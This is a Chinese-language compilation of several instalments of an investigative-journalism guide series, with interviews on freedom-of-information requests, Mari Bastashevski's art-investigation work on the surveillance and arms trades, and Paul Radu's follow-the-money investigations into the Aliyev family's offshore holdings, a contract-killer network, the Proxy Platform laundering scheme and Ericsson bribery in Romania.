这也意味着，我们需要不断讨论信息如何有用，以及我们应该在多大程度上推动一切公开。以有用的方式公开，而不仅仅是为了公开而公开。

而且应该有一群人在此负责，比如记者或研究人员或对该特定领域感兴趣的活动家。而且这些信息也要经过编辑，并与背景联系起来。没

有经过处理的信息是无法使用的，除非是一些专家。

信息应该如何被处理？

LM：对我们来说，并非信息一出来就进行处理。对于我们创建的平台来说，例如协助公民向欧盟索取信息的 asktheeu.org，需要处理的是信息的格式。要让人们可以看到欧盟对请求的回应、透明度和回答问题的程度。也就是要展示整个过程的透明度。当你提出一个问题时，是否得到了回应？

很多时候，政府不回应，对于记者或活动家来说这是令人失望的，尤其是当他们希望了解一个真正重要的问题时。这可能是一些与采矿、或石油、人权侵犯或酷刑有关的内幕信息。在这种情况下，我们建议的一件事是把眼光放得更宽一些，并问："如果我在自己的国家得不到信息，有没有一个国家可以让我获得这方面信息？" 例如你可能想在五个国家申请信息。

如果你没有从你想要的地方获得信息，你可也以说 —— "我已经从另外这四个地方获得了信息" ，"这也许是一个暗藏秘密的地方，或者是我们需要进一步调查的地方。"

因此它真的很有帮助。我们能够要求不同来源的信息。例如在关塔那摩湾的调查中， 如果一个航班要通过欧洲， 我们可以在28个不同的国家请求信息。

即使只有不到10个国家交出了信息，也不能称之为失败。相反我们认为这是一个明显的成功，因为调查报告不仅可以显示得到的信息，而且可以列出拒绝提供信息的所有国家，这恰恰指出了下一步调查需要关注的地方。

如今，在企业领域中存储着越来越多的信息，这些信息对于理解我们的世界是如何运作的、对于我们如何继续创造变化、对于我们如何继续支持活动家和记者的努力，都是绝对重要的。

- 案例 ~ 对企业的调查，如《追踪谷歌的政治旋转门：开源调查》
- 《深层政治：Facebook金字塔的人形肌理—— 仅仅依靠开源数据，扒开利维坦的内裤》

○

Information is Our Currency

—— 未完待续 ——

原文

观察那些难以观察的东西：解码秘密（6）- 当公民调查遇到艺术 - iYouPort

解码秘密

做自己认为对的事，不需要考虑最终效果。当您充分投入到行动中时，效果就会逐步显现。

「图」

「图」

欢迎回来！

如果您错过了前面的内容，可以在这里回顾 —— 本指南的主体在前4集中：

- 《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（1）- 哪些方式可以找到您想要的东西？》
- 《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（2）- 开始收集和处理数据》
- 《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（3）- 理解数据和可视化》
- 《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（4）- 确保真实和确保道德的技巧》
- 《“信息就是我们的货币”：解码秘密（5）- 公民获取信息权利运动》

Mari Bastashevski 是一位艺术家、研究者、作家、也是公民调查人员。她的作品刻意模糊了这些领域之间的界限。她专注于体制性问题和从国际冲突中谋取暴利的问题，从雇佣军到大规模监控，这些在不透明的保密理由下行使的巨大权力和谋取的巨额利润，以及围绕这些问题的信息真空。在这里看到她的作品。

下面是对她的访谈，也许能帮助您从中寻找灵感。

您是如何处理千兆数据并用数据讲述背景故事的？

MB：无论我对数据做什么，我都会把它带回模拟世界，然后再把模拟数据重新放到网上。有两个主要类别的文件对我的工作过程至关重要：有用的（脚注）和无用的（对象）。前者为叙述提供信息和图解，后者是原材料，是叙述的肥料。

阿尔卡特朗讯在哈萨克电信服务器上的文件就是第一个例子：这些文件提供了一份完整的监控产品清单、投标交易的确切细节，以及对交易有帮助的经纪人和安装这些组件的电信公司的确切地址。

找到它们真的很兴奋，但一旦信息价值被提取出来，它们除了作为解码劳动本身的证明之外，对我来说并不是特别有趣。

【注：阿尔卡特朗讯（Alcatel-Lucent）曾经的一家电信跨国公司，总部设于法国布洛涅-比扬古。它由美国朗讯科技与法国阿尔卡特于2006年12月1日起正式合并而成。2015年4月15日，诺基亚宣布将并购阿尔卡特朗讯，而本身的铁路讯号系统业务售予泰雷兹公司，2016年11月3日并购完成，它成为了诺基亚网络的一部分。】

就乌克兰寡头库尔琴科在亚努科维奇政权倒台后留下的碎片文件而言，这些文件没有任何信息价值，我怀疑在一个司法系统完全破产的国家，这些文件是否能带来正义。但同时，这些文件在历史和文化上都是非常有趣的物件。

在撕碎这些文件的过程中，被剥夺了权力的个人背叛了自己：他们的行为暴露了罪恶感。市民们将这些碎纸重新粘起来的劳动，是一种重新获得权利的优雅行动。这可能被证明是完全徒劳的，但这是诗。

【注：努科维奇家族企业的谢尔盖·库尔琴科(Serhiy Kurchenko) 是专门从事液化天然气交易的 “ Gas Ukraine 2009” 公司的创始人/所有者。Kurchenko 还是 FC Metalist Kharkiv 和乌克兰媒体控股集团的前任所有者兼总裁。Kurchenko 于2014年2月离开乌克兰，目前下落不明。

亚努科维奇 (Viktor F. Yanukovych) 乌克兰亲俄派政治人物，拥有俄罗斯国籍。前任乌克兰总统，曾经两度出任乌克兰总理。 2014年2月，乌克兰国会表决通过将其罢免。逃亡到俄罗斯的他宣称自己是被暴力非法夺权，是合法的乌克兰总统，并为俄罗斯所承认。】

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

Mari Bastashevski, Empty with a Whiff of Blood and Fumes- Shreds of Accountability, 2014 Ukraine

有一次，我在贝尔格莱德为一家“国营企业”研究公司时，一个试图打击竞争对手的消息来源给了我一叠假的文件。

经过一些基本的取证工作就可以证实，很明显，签名是用 Photoshop 粘贴在上面的，内容栏被替换成了叙利亚。这些文档在信息价值上完全没用，但如果把信息价值放到文档中，却非常有用。我现在有一个作品，给观众呈现了三份看起来一模一样的文件，一份是经联合国核实的，第二份是我用 photoshop 制作的，第三份是模棱两可的。

Gamma 黑客文件既带有有用的基因，也带有无用的基因。虽然许多文件仍然是加密的，但在既定国家看似匿名的实体之间的通信，完美地展示了像 Gamma 这样的公司挪用机构权力的频繁程度。

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

Mari Bastashevski, “It’s Nothing Personal” installation extract, 2015

是否可以通过访问机密数据或开放数据运动来改变权力动态？

MB：我并不确定获取秘密文件、原始数据就能自动改善民主或平衡权力天平。当数据被一个或另一个秘密的 “信息部” 积累和组织起来，并由权力机构处理时，往往忽略了人为的错误，数据实际上是对民主的巨大威胁。

大规模的监控就是最微妙的例子。当然，Edward Snowden 和 Wikileaks 产生了巨大的影响，但其中付出了太多的努力，甚至至今都陷在生命危险中，以至于我们在谈论吹哨人的泄漏时往往会忘记这些恐怖的风险。

还记得吗，当时斯诺登是多么地担心，如果没有人会注意到这些发布、并关注它或理解它的意义？那是最大的失败。

【注：这就是为什么说吹哨人不是透明度革命的全部，它只是一个开端，更重要的是，吹哨平台需要解码这些泄漏文件，以对公众利益负责的态度 —— 即 对民主负责的态度 —— 将信息提取出来，加以分析，作为活动家动员并推动变革的燃料。见《超越透明度革命》。这正是解码秘密系列指南本身的目标，帮助人们学到处理信息的方法。】

近年来有很多不值得关注的数据转储（即 泄漏），在直接的黑客社区之外，这些转储被用来证明互联网 “被攻破了”。

婚外情社交网络 Ashley Madison 的黑客事件对我来说就是一个很好的例子。你把随便一个成年人和他们的内裤的细节公开，能达到什么目的？那些利用这些数据来写关于男人如何不忠的文章的媒体，实际上是在滥用他们的权力，这侵犯了个人的隐私，这些人除了对他们的另一半的利益之外，没有对其他任何人构成威胁。使用该网站作为交友服务的同性社区的人们也被曝光了。那么这种泄漏到底是关于数据的力量还是只为了流量经济？

当你身处有巨大风险的地方，或者是令人情绪激烈的地方时，你如何维护自己的稳定？

MB：从我第一次独立工作的经历来看，我既幸运又不幸：当时我在调查车臣的绑架案。我并没有真正建立任何内部安全机制，我已经离

真相太近了。我会和那些被采访的人一起做园艺，我还和那些后来被处决的人成为了朋友；我实际上和 Natalya Estemirova 住在一个公寓里，她在2009年被绑架和谋杀。那是一次彻底的心灵震撼。此后很长一段时间，我没有与任何 “受害者” 合作。

【注：纳塔利娅·埃斯蒂米洛娃 (Natalja Estěmirovová) 俄罗斯记者、著名人权活跃人士，她在俄罗斯人权组织 “纪念” 工作。2009年于车臣与印古什接壤处被枪杀。】

「图」

「图」

Mari Bastashevski, File 126 -The Topography of Abductions in the North Caucasus, 2007-2010

今天，我的大部分工作都是在办公桌上进行的，翻阅书籍和文件，给别人发邮件。无论我在这个领域经历了怎样的风险和压力，都能被工作之外的生活所平衡。当然，对于任何一个过于关注全能的人来说，某些不便总是隐含在其中的，但与一些调查记者、艺术家、活动家或黑客的经历相比，这些都不值一提 —— 他们因为工作和信念而被殴打、流亡或入狱。

您对项目的效果和反馈满意吗？

MB：我不期望对结果满意。我想，即便我对结果满意，我也很可能就会继续做更有挑战性的事。

你是否觉得人们对你所做的工作和你所揭露的虐待行为没有采取足够的行动？

MB：改变不是线性的。它是混乱的。如果要求参与者做出任何形式的具体改变，我就必须把改变的系统简化，我宁愿不这样做。有很多艺术和新闻都把自己认定为 “善” 的载体，它们都是高高在上，虚伪的，它们把观众当成一个没有独立思考能力的人。

一个观众会用作品去审视所提出的问题，在作品上停顿，形成自己的决定，是否行动，如何行动，都取决于个人，或者不行动 —— 这难道不也是一种有效的回应吗？看到一件东西意识到没有一键式的解决方案，没有互动，也要坚持看下去，这不失为一种勇气。

人们进行调查的原因有很多，你调查的目标是什么？

MB：当我开始从事 State Business 工作时，起初我对除了模板答案之外什么都没得到的事实感到非常沮丧，但这导致了我对负面研究的价值的思考，即 映射黑色空间，定位那些无法打开的隐蔽门、无法掀开的窗帘。

今天，对我来说，我找到绝对满意的答案 —— “真相” 就是我的目标，并且我要找出关于权力的某些方面的信息本身，那些保密的面纱，是如何运作的。

是什么在驱动你的好奇心？你如何选择所关注的叙事或故事？

MB：在为 State Business 挑选案例时，我对第一个案例研究立即产生了兴趣，那是一系列货运航班，将武器同时运送到阿塞拜疆和亚美尼亚之间的纳戈尔诺-卡拉巴赫冲突双方。这是一个朋友和同事第一次偶然向我提到的事情。对我来说，有趣的是 “同时” 这个词。

因为他们的目标是获利，从冲突中谋取巨额利润，他们并不关心谁最终能取得胜利，他们关心的是如何将冲突持续下去。战争继续才能财源滚滚。

再比如，Verint Israel 和 Nice Systems（现在的 Elbit）的做法无意中出色地说明了一个案例，他们在以色列政府的要求下，与沙特阿拉伯和巴林达成了监控交易。以色列的工程师和顾问秘密出行，进入其他公民无法前往的国家。

以色列监视行业在与中东建立对话方面所做的工作几乎超过了所有国际外交努力的总和。

【注：NICE Ltd.是一家位于以色列的公司，专门从事电话录音，数据安全性和监视以及分析记录数据的系统。该公司为各个行业提供服务，例如金融服务，电信，医疗保健，外包商，零售，媒体，旅行，服务提供商和公用事业。该公司股票的主要上市地点是特拉维夫证券交易所。】

你曾提到你的研究大部分是通过访问消息来源获得的，你是如何找到这些消息来源的？

MB：我不认为你能事先知道谁会是一个很好的消息来源。这是一个非常广泛的范围。在任何项目研究阶段，我都会遇到非常不同的人物。有的人对自己处理公关危机的方式非常自豪，并想以此来炫耀；或者是那些从分享别人的秘密中得到一些好处的人。

我也遇到了真正关心问题本身的消息来源，他们是冲突行业的一部分，被困在其中，或者至少觉得自己被困在其中，特别是在监控行业里，很多人都是工程师。他们想要诉说自己的经历。

最近我在做委托研究员的时候遇到了一个新的来源问题 —— 这是个悖论 —— 在这样的设定下，我获得信息的渠道应该是巨大的，但我只有同意不公开才能获得这种渠道。

在这种情况下，我可以观察，比如说，十名官员将就非洲一个小国的未来做出决定的会议 (这些东西对公共领域可能具有巨大的价值)，而且肯定也会对我的研究的其他地方有所帮助，但从道德上讲，我发现这非常矛盾，我还没有下定决心如何在这些情况下进行调查工作。

你如何去接触特定的个人、公司和机构？

MB：差异很大。有时你会想："好吧，我只需要给他们发一封公函，要一张照片，一切就会好起来。" 正如西门子的情况那样。我完全被搪塞过去了。我在基辅的乌克兰出口部遇到了另一种惊喜。我给他们写了一封信。他们很久也没有回复，让我觉得 "好吧，我最多只能得到一个人的采访，那将是一个低级别的国家官员，而且他们绝不会允许拍照"。

但他们随后把我请到了总公司，他们有十四个人：有退伍军人，有五十多岁的前部长，还有局长本人。他们都坐在我面前的一张圆桌上，给我在他们对面放了一把椅子。

与这些人交谈时，你认为最引人注目的观察是什么？

MB：我发现研究冲突产生的经济很有趣，它们建立在不言而喻的相互协议上，责任分散，就像它们建立在秘密上那样。这些经济是由那些经写错字的人管理的，他们互相发送食物和小猫的照片，就像其他人那样联络。当你和每一个相关的人交谈时，这一点也会变得非常清楚。政府机构和公司都是由人组成的。而更多的时候，这些人会告诉你 "我只是在做我的工作。我所做的一切都是合法的。怎么什么都是我的错" ……，这是真的。

合作对你来说有多重要？

MB：我发现和不同的集体、黑客、设计师、研究人员和科学家合作，其实对我们所有人都有好处。

唯一还没有完全接受专业领域之间的交叉的社区是艺术家的社区，尤

其是摄影界。人们还是会走过来跟我说：“这不是真正的艺术。这是调查”；或者“我要看那么多文字，这怎么是摄影？”

在一个我自认为是本地人的地方，遇到这种暴躁的阻力，真是讽刺。对研究者来说，这比较容易。当我第一次走进智库的环境说“我是艺术家”的时候，大家都有点傻眼了。很多人还会有这样的想法，认为艺术家就是坐在角落里，在昏暗的灯光下，时不时地抚摸一下画布的人，而艺术则是作为一种兴趣爱好的东西。但后来随着我们的交谈和合作，一段时间过去了，大家自然而然就接受了。

我最近开始与荷兰的一个设计师团体 lust.nl 合作，研究如何将文件和信息来源可视化。我们有这种流畅的协同作用，作为一个作者，我仍然要做最后的决定，并对我的作品的展示负完全的责任，但在这之前，我从合作中学到了很多东西。

「图」

「图」

Mari Bastashevski, State Business-Chapter III-Published December 2014 by Musee de Elysee, Switzerland

关于如何与人交流，或者说，如何从信息源的头脑中挖掘信息，这里有一份指南《在人与人之间 …… 如何从信息源的头脑中挖掘想要的情报—完整指南》。〇

Mari Bastashevski: From gigabytes to stories

—— 未完待续 ——

原文

跟踪金钱的走向，追踪腐败和犯罪 - 解码秘密（7） - iYouPort

解码秘密

金融证据帮助公民调查揭露有组织犯罪和当权者的腐败内幕。金钱是连接各地非法企业的全球语言，了解这种语言的调查人员可以找到犯罪和腐败的根源。

「图」

「图」

欢迎回来！

如果您错过了前面的内容，可以在这里回顾—— 本指南的主体在前4集中：

- 《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（1）- 哪些方式可以找到您想要的东西？》
- 《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（2）- 开始收集和处理数据》
- 《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（3）- 理解数据和可视化》
- 《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（4）- 确保真实和确保道德的技巧》
- 《“信息就是我们的货币”：解码秘密（5）- 公民获取信息权利运动》
- 《观察那些难以观察的东西：解码秘密（6）- 当公民调查遇到艺术》

Paul Radu 讲述了他和他的家乡组织 RISE 项目如何揭露阿塞拜疆第一家族的黑幕商业交易、东欧的暗杀网络、以及罗马尼亚的高层企业腐败。

本集的访谈将仔细审视这些案件，并看到信息行动主义的直接成果。

希望这份访谈能帮助未来中国的反腐败独立调查获得更大的成功。

您可以在这里下载他撰写的调查手册，其中包括他和团队的丰富经验、技术工具和思考方式：https://www.patreon.com/posts/zhui-zong-jin-de-45432611

「图」

「图」

您如何定义调查性报道？

PR：调查性报道是指非常深入的研究，以及将研究呈现和可视化的能力，以便人们可以理解它。

在社会背景下，这种深度研究的作用是什么？为什么它很重要？

PR：深度研究之所以重要，是因为它能让人们看到那些隐藏的东西，呈现能让社会、公众使用的信息。

阿塞拜疆第一家庭的报道是如何产生的？

PR：这个报道体现了不同国家的记者和黑客之间的合作。我们发现了阿塞拜疆总统伊尔哈姆·阿利耶夫家族的隐秘生意和利益。

我们从两个角度进行报道：首先，从阿塞拜疆一个叫 Çhovdar 的村庄开始，村民们非常不满，因为有一家公司开始勘探评估该地区的黄金储量，地质研究表明那里有很多黄金。

勘探公司切断了向该村供水的一条管道；村民们将此归咎于 Inglis —— 英国人，因为他们知道在那里经营的公司之一来自英国。

但村民们不知道的是，这家公司的幕后老板是谁：我们凭借着调查技巧进入了这个领域，我们能够追踪到这家公司的所有权。它叫 Globex International LLP（有限责任合伙），在英国注册。

但是，如果你更仔细地查看这家公司的所有权，你就会发现，这家公司的所有权是由另外三家公司拥有的，来自巴拿马。

然后，如果沿着这个所有权链进一步搜索，你就会发现，这些巴拿马公司是由阿塞拜疆总统的两个女儿 Leyla Aliyeva 和 Arzu Aliyeva 拥有的。更重要的是，通过在当地的调查，我们发现，Çovdar 金矿场

是由阿塞拜疆总统亲自授予这个公司财团的，英国公司只是其中的一部分。总统亲自签署了法令，将这块土地以及勘探和开采黄金的权利授予这些公司。

在这起案件中，从各种数据库中获得的信息，揭示了这个第一家族的隐秘交易，以及总统利用自己的权力以私人企业奖励自己家族的方式。

但这次调查也是从另一个角度来解决的。总统的女儿拥有三家巴拿马公司 —— 这些公司拥有英国公司和阿塞拜疆的其他一些资产。这意味着，这里有可能存在其他隐蔽的商业利益。这就是黑客需要进入的地方。

巴拿马公司注册处是公开的，而且是免费的，你登录后就可以进入；但是，你只能搜索公司的名字，所以在开始之前，你需要已经知道这些名字。

通常情况下，调查性报道会从当权者的名字开始：国家总统、议员等等。为我们工作的黑客 Dan O'Huiginn 刮取了巴拿马公司注册处的资料，并创建了一个新的界面，一个非常简单的网站。

利用这个网站，如果我搜索阿利耶夫这个姓氏，就会有好几个命中，显示这个姓氏的多个人在巴拿马参与了公司。我们感兴趣的人是 Leyla Aliyeva、Arzu Aliyeva 和 Mehriban Aliyeva，最后一个是总统夫人，但也是议员 —— 这意味着在法律上，她不应该有私人商业利益。

搜索这个数据库就会发现，阿塞拜疆第一家族不仅建立了已经被查明参与黄金开采的三家公司，而且，与他们的名字有关的公司不下十家，所有这些公司在阿塞拜疆都有一些利益；例如，其中一些公司是移动电话服务提供者。

此前，阿塞拜疆移动电话市场上有两家成熟的公司，有许多用户。然后，这个市场突然出现了第三家公司—— 这是相当正常的，任何商业市场上都会有新来者 —— 但问题是，这个新来的公司在市场上占了上风；例如，当时他们是唯一被允许提供3G服务的公司。另外两家比较成熟的公司拥有更广泛的用户基础，却不被允许提供这种服务。

如果你看看这第三家公司的所有权就会发现，总统的女儿又通过巴拿马公司参与了这家移动运营商。

当我们开始调查时，阿塞拜疆政府对我们撒谎。他们告诉我们在阿塞拜疆的记者 Khadija Ismayilova，该公司部分由西门子和阿塞拜疆国家拥有。我们驻阿塞拜疆的记者随后联系了西门子，西门子回答说："不，我们不拥有任何这样的资产。我们在这家公司没有任何股份"。

他们对我们说了一个彻头彻尾的谎言。我们在阿塞拜疆的记者收到了一封国家签署的信件，信中写道："该移动运营商由西门子拥有"。这个故事表明了黑客和调查记者之间的合作有多么好 —— 前者能够重新索引和重塑信息，让人们更好地获取信息，后者则将公司数据提供给任何需要帮助获取数据的人。

然而，了解当地情况是揭露不法行为的第一步，这也是此次调查的原因。这看起来很简单，但实际上为了收集所有这些事实，并将所有的事情联系在一起，需要做很多工作。

当地媒体和第一家族对此的反应如何？

PR：阿塞拜疆的问题是，第一家族通常不作任何答复。他们完全无视揭露。尽管如此，揭露他们的不法行为还是很重要的，因为阿塞拜疆政府和总统与许多欧洲国家以及世界其他国家打交道，所以我们至少可以告诉这些国家发生了什么。

这个故事在阿塞拜疆的社交媒体上也有报道，所以一些当地人也知道了。主流电视台和报纸都没有发表任何关于这件事的报道，因为他们要么是被政府本身控制的，要么是被与政府有合作关系的人控制的。

至于新的移动运营商，有两个结果。首先，政府不得不向另外两家运营商开放3G牌照，这是一件好事。而另一个结果是，在阿塞拜疆运营的公司现在更多选择与那第三家新运营商签订移动通信合同，因为他们认为这样可以得到总统的批准。有时候，调查结果是相当有趣和意想不到的。

「图」

「图」

在这里看到这份报告《Azerbaijan's President Awarded Family Stake in Gold Fields》。

这个调查报告是使用新媒体和黑客技术访问数据库并揭示复杂故事的一个很好的例子。您能说说您对雇用杀手的调查吗？

PR：无论我们在调查什么，我们几乎总是跟着钱的流向走。比如在埃及，我们调查了胡斯尼·穆巴拉克的隐藏资产。在这个案件中，我们调查了一个雇佣杀手集团。最初这也是为了跟踪资金和公司，但这一切都始于我们在摩尔多瓦进行的采访，以及与我们合作的摩尔多瓦记者收集的信息。

在这起案件中，我们通过记录证明了一些雇佣杀手之间的联系，这些杀手在前几年曾试图进行暗杀，也实际杀害了各种商人和其他人。

调查是从向我们提供的一份日志开始的；该日志来自摩尔多瓦警察委员会的消息来源。这份日志详细记录了后来在莫斯科被捕的一名男子在摩尔多瓦边境的所有来往。

此人据称是一个受雇杀手，他曾试图在伦敦暗杀一名俄罗斯银行家；他还在布加勒斯特用卡拉什尼科夫枪向一名无辜者连开七枪，因为他误以为该人是他奉命杀死的目标。

我们得到了这些旅行记录，我们发现在暗杀未遂和杀人前后，他总是会乘坐公共交通工具。但其余时间，📌 他有些鲁莽，使用私家车，我们知道这些私家车的车牌号，我们能够追踪到这些车的所有权登记所用的名字。

- 《如何追踪一辆汽车？》

这不是直接的，因为这些车是公司所有，但是我们又能够追踪到这些公司，于是发现这些公司是其他杀手所有。这就在执法机构以前没有形成联系的各种人之间建立了联系。

其中一些人因各种罪行被通缉：谋杀、走私等，但没有人能够证明他们之间的协作关系。我们使用了来自摩尔多瓦和罗马尼亚的信息，因为它们是在罗马尼亚北部运作的。他们从那里出发杀死其他城市或国家的人。

我们从一些信息开始，然后绘制出摩尔多瓦和罗马尼亚进出的地图，然后通过追踪金钱的轨迹来将他们连接在一起。

哪些国家参与其中？

PR：这群杀手不仅参与了暗杀未遂和杀人，他们还参与了勒索、走私香烟和毒品等犯罪活动。他们在摩尔多瓦、罗马尼亚、意大利、英国、乌克兰等地活动，而且还与俄罗斯有联系，所以他们的活动范围遍及欧洲 —— 这还只是我们所知道的情况。

当然，我们并不了解这些人的一切，他们可能也在其他国家活动，他们可能还参与了其他我们不知道的杀人事件。

这个调查的结果是什么？

PR：这个调查一公布，就有好几个国家的执法机构联系我们，他们希望我们把相关数据传给他们。每次发生这种情况，我们都会把他们引导到我们的网站上，我们在网站上公布了所有的数据，包括多个国家的公司记录和法院记录。相关国家的执法机构可以根据这些信息采取行动。

这些调查最令您兴奋的地方在哪里？

PR：故事的主人公 Vitalie Proca，他现在在莫斯科被捕。他的有趣之处在于，他能够在**2010**年到**2013**年之间自由地跨越国界。其中一些人即使在摩尔多瓦杀了人，也能获得罗马尼亚公民身份。

这一点很有意思，因为他们能够在多个国家的当局眼皮底下行动，而当局对他们的行动，或者他们所参与的犯罪行为一无所知。

我们的可视化调查突出了这些事实：2010年，Proca 刚刚因过去犯下的几起谋杀案而获释，但他能够顺利地跨越国界。伦敦的暗杀企图发生在春天（2012年），而布加勒斯特的无辜旁观者在2012年底被枪杀。

在这里看到这份报告：《A Murderer’s Trail》。

「图」

「图」

可以说说“代理平台”调查的故事吗？

PR：代理平台是元调查的一个例子，我们研究了整个地区的洗钱活动，因为我们想强调有多少洗钱活动正在进行。

我们看到了这么多钱，其中大部分 —— 包括政客或犯罪分子的财富 —— 无法以任何方式解释。我们开始研究他们建立的系统，以及他们如何将这些钱注入合法的经济中。

我们意识到，不需要银行家的帮助，不需要建立复杂的公司结构，就能做到这一点，因为有数千亿的资金被洗。

首先，我们开始研究公共资源和已经出现的关于这个问题的资料，这是非常少的。然后是洗钱系统，我们设法获得原始记录。我们发现的是一个平台 —— 最后把它叫做代理平台 —— 被一些犯罪集团使用。越南的有组织犯罪、俄罗斯和东欧的有组织犯罪、墨西哥的贩毒集团，各种犯罪集团都在使用这个平台，他们有很多钱要洗。

我们发现了一个由在俄罗斯、乌克兰、塞浦路斯、新西兰、拉脱维亚和许多其他国家建立的公司组成的平台。这些公司成立的唯一目的就是帮助犯罪分子洗钱。

之所以把这个项目称为 “代理平台”，是因为大多数洗钱公司都是由代理人拥有的，这些人甚至不知道自己是这些公司的所有者或股东。我们发现了很多这样的代理人，我们和他们进行了交谈，但真正的突破是，这是另一个调查的后续，对要约收购的调查。

我们曾研究过谁在建立这些要约结构，我们的报道提到了很多公司，因为我们总是尽量提供尽可能多的信息，以鼓励众包。我们提到了 Tormex 这个公司，这是一家在新西兰创建的公司，被墨西哥贩毒集团锡纳罗亚利用，在欧洲和其他地方洗钱。

我们就把 “Tormex” 这个名字放到了我们的平行调查中，一个来自 Focsani（罗马尼亚）的商人在我们的网站上看到了这个名字，就和我们取得了联系，说：“这个 Tormex 公司，我正在和他们打官司。而且我很有兴趣和你们谈谈。” 于是我们才知道，他被 Tormex 公司骗走了50万美元。

在摩尔多瓦有一些法庭案件，我们可以查阅这个案件的记录，其中包括 Tormex 的所有银行记录。虽然该公司的总部在新西兰，但它在里加（拉脱维亚）有银行账户。摩尔多瓦警方传唤了这些银行记录 —— 几年的交易记录 —— 因此，我们现在可以通过法院案件记录获得这些信息。超过6亿欧元通过这个账户：大笔的资金。

📌 关于 **Tormex** 的有趣之处在于，和网络中的其他公司一样，在纸面上它是由一个人拥有的，而这个人甚至不知道他 “拥有” 这家公司。这是常用的假身份调包。通过追踪这家公司的交易登记簿，我们能够发现它与其他参与犯罪的公司的联系，这也是我们最终能够揭露代理平台的原因，数亿甚至数十亿美元的资金在代理平台上被洗白。

Tormex 只是这个迷宫中的公司之一。我们也能够追踪到这些钱，与俄罗斯、拉脱维亚、乌克兰、新西兰、以及罗马尼亚和其他国家的记者合作。我们自己只用了这些银行记录的一部分，但我们把它们全部

发布到网上，以便其他人也能够使用它们 —— 再次进行众包。

奥地利爆出了一个关于其中一些公司的故事。不少其他国家的记者还在和我们联系，因为他们发现这些公司的名字和他们国家的企业有关。这就是为什么这样的方法如此有价值的原因：我们暴露了一个庞大的网络，我们发表了一些好的调查，但信息的价值远远超出了我们能够处理的范围，因为，我们可能没有相关的本地知识。我无法判断一家公司是否在巴布亚新几内亚活跃，这要靠那里的人在谷歌上搜索，并与当地建立联系。

在这里看到这份报告《The Proxy Platform》

「图」

「图」

能说说跨界合作对调查的重要性吗？

PR：爱立信的调查是从一件小事开始的。一名经纪人损失了一些投资者的钱—— 他的投资者是罗马尼亚的一些高级政客和娱乐界人士。他得罪不起这些人，就逃离了罗马尼亚，他害怕这些人可能的报复。他损失了几百万，相当多的钱。我们发现他躲在雷克雅未克（冰岛）。

因此，我们与冰岛调查报道中心的同事取得了联系，请他们帮助进行这个报道。他们也可能从中得到自己的报道，所以他们设法找到了这个在逃的经纪人 Cristiasi，并与他交谈，设法说服他接受他们的采访。

我们把想问该经纪人的问题发给了冰岛记者。他们有自己的一套问题，最后，有一个电视采访，在采访中，该经纪人承认，他不仅是因为损失了投资者的钱而离开了冰岛，而且他的公司还发生了其他事。他的公司总部在英属维尔京群岛，叫**WBS**控股公司，他说这家公司被在罗马尼亚投资的大公司利用，作为贿赂罗马尼亚政客的渠道。

冰岛记者坚持并一再追问：“哪些公司，哪些政客？” 该经纪人最终承认，其中一家公司是瑞典电信巨头爱立信。

这时，事情变得有趣起来，于是冰岛记者把这次采访的录音发给我，我与瑞典调查记者取得了联系。我们告诉他们：“这位罗马尼亚经纪人在冰岛电视台上说，爱立信向罗马尼亚政客行贿。我们怎样才能证实这一点？”

我们与爱立信的发言人取得了联系，并问了他几个问题，其中有一个问题就是：“你们有没有向罗马尼亚政客行贿？”他说：“没有，我们从来没有向罗马尼亚政客行贿，但你提到的这家公司WBS控股公司确实收了我们一些钱。这事没有经过我们的同意，是爱立信罗马尼亚公司的前经理干的，我们正在和他打官司。”

这时，事情变得更加有趣了，我们非常想得到这个法庭案件的记录。对我们的瑞典合作者来说，这很容易：他们在几个小时内就得到了信息，并把与爱立信诉 Thomas Lundin（爱立信罗马尼亚前经理）一案有关的文件发给了我们。我们发现，双方的指控都很有意思。

爱立信声称 Thomas Lundin 从公司偷走了相当于1000万美元的资金，而另一方 Thomas Lundin 则说：“不，我没有偷这些钱，我把钱给了决策者、政客和其他人，以便为爱立信创造更多的业务。”

他在法庭上这样辩解说：“在我的领导下，爱立信在罗马尼亚做的业务价值从**0**增加到**10**亿”，这是一个很大的数字。而且他还指名道姓**!** 他说出了两位电信部长的名字，他收买了他们。爱立信声称他们不知道有这些贿赂行为，他们不容忍这种行为。

另一方面，爱立信承认，在几年时间里，他们实施了一项计划，以便秘密地支付“代理人”，代理人是指能够在不同市场而不仅仅是在罗马尼亚推动爱立信业务的人。他们使用了“佣金计划”一词，并在法庭上明确表示，他们设立这一计划的方式是为了使他们实施这些计划的国家的执法机构或媒体无法发现发生了什么。

他们明确表示，这些“代理人”的身份必须保密，因为这些代理人在市场上起着决定性的作用，关系到爱立信的生意是否顺利。

我们从斯德哥尔摩拿到了所有的法庭记录，并将其翻译成罗马尼亚语，交给罗马尼亚当局处理。我们希望罗马尼亚当局能对此事进行调查，因为 Thomas Lundin 承认他收买了一些特定的政客。

我们也和 Lundin 点名的具体政客取得了联系，他们说，“不，我们没有接受 Thomas Lundin 的任何贿赂 —— 我们知道他是谁，但我们没有接受他的贿赂”。还有就是原来的经纪人，他说他的公司被用来向这些人输送贿赂，还有就是爱立信承认自己已经把这个秘密的计划组织起来，向代理人支付报酬，这些神秘的代理人就是这一切的最高机密人物。

我们认为，这值得罗马尼亚当局进行调查，而且有趣的是，爱立信的

“佣金计划” 在其他国家也存在，所以我们希望那些国家也能进行调查。据我们了解，目前瑞士正在进行调查，涉及到我所说的一些事件和关系。我们希望最终真相会大白于天下。

你通过 “追随金钱 “来追踪有组织犯罪集团。为什么这是你的主要调查策略？

PR：📌 意识形态很少成为有组织犯罪或高层腐败的动机。它几乎总是由金钱驱动的，金钱转化为权力 —— 包括政治权力。这一切几乎总是从对金钱的渴望开始。

更重要的是，金钱是一种共同的语言。你可以跨国调查公司结构，从罗马尼亚到新西兰，从美国到英国，到处都是一样的结构。所以有一个共同的语言和结构，现在的商业也是全球性的。当你调查企业的时候，你能够对这些人的活动有一个整体的了解。

